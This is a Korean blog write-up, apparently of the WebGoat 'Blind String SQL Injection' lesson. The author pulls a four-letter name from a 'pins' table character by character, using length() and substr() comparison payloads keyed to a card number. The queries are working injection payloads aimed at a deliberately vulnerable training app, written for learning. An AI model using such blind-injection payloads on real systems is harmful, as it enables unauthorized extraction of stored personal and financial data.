이번에는 문자열을 알아내기 위한 Blind SQL Injection을 학습할 수 있는 문제이다.
우선 길이를 알아보기 위해 아래의 쿼리를 던졌다.
원래 table명, column명 모두 모르는 상황에서 하게 되는데, 그땐 MySQL 기준으로 information_schema를 대상으로 쿼리를 던지게 된다.
이 문제에는 그러한 정보들이 모두 주어져 있으므로, 그럴 필요는 없다.
101 and length(select name from pins where cc_number='4321432143214321') > 4;
우리가 구하려는 문자열의 길이가 4보다는 크고
101 and length(select name from pins where cc_number='4321432143214321') > 3;
3보다는 작은, 3 < length(Account Number) <= 4의 부등식을 만족한다.
즉, 길이가 4임을 알 수 있다.
이제 4자리 문자열의 각 문자를, 하나하나 알아가야 한다.
아래 쿼리는 Account Number의 첫번째 글자의 ASCII Code가 'A'보다 큰지 질의하는 문장이다.
101 and substr((select name from pins where cc_number='4321432143214321'), 1, 1) > 'A';
결과를 보니, 첫 글자는 'A' 보단 다음에 있는 글자인 모양이다.
그렇게 계속 하다가, 다음과 같은 상황이 온다.
101 and substr((select name from pins where cc_number='4321432143214321'), 1, 1) > 'I';
첫 글자가 'I' 보다 크고
101 and substr((select name from pins where cc_number='4321432143214321'), 1, 1) > 'J';
'J' 보단 작다. 즉, 첫 글자는 'J'임을 알 수 있다.
2번째 글자를 대상으로 진행하면, 아래와 같은 상황이 온다.
101 and substr((select name from pins where cc_number='4321432143214321'), 2, 1) > 'h';
2번째 글자가 'h'보단 크고
101 and substr((select name from pins where cc_number='4321432143214321'), 2, 1) > 'i';
'i'보단 작거나 같으므로, 2번째 글자는 i가 된다.
101 and substr((select name from pins where cc_number='4321432143214321'), 3, 1) > 'k';
3번째 글자는 'k'보단 크고
101 and substr((select name from pins where cc_number='4321432143214321'), 3, 1) > 'l';
'l'보단 작거나 같으므로, 3번째 글자는 'l'
101 and substr((select name from pins where cc_number='4321432143214321'), 4, 1) > 'k';
4번째 글자 역시, 'k'보다 크며
101 and substr((select name from pins where cc_number='4321432143214321'), 4, 1) > 'l';
'l'보단 작거나 같으므로, 4번째 글자는 'l'이 된다.
노가다 끝에 4글자를 모두 추출해냈다.
이런 이유로, Blind SQL Injection 공격 시 대부분 프로그래밍을 통해 자동화한다.
Clear~
'[Wargame Write-up] > WebGoat' 카테고리의 다른 글
[WebGoat] [Cross-Site Scripting (XSS)] CSRF Prompt By-Pass (0) | 2017.04.06 |
---|---|
[WebGoat] [Denial of Service] ZipBomb (0) | 2017.03.22 |
[WebGoat] [Injection Flaws] Blind Numeric SQL Injection (0) | 2017.03.20 |
[WebGoat] [Malicious Execution] Malicious File Execution (2) | 2017.01.12 |
[WebGoat] [Access Control Flaws] Bypass a Path Based Access Conrol Scheme (0) | 2017.01.10 |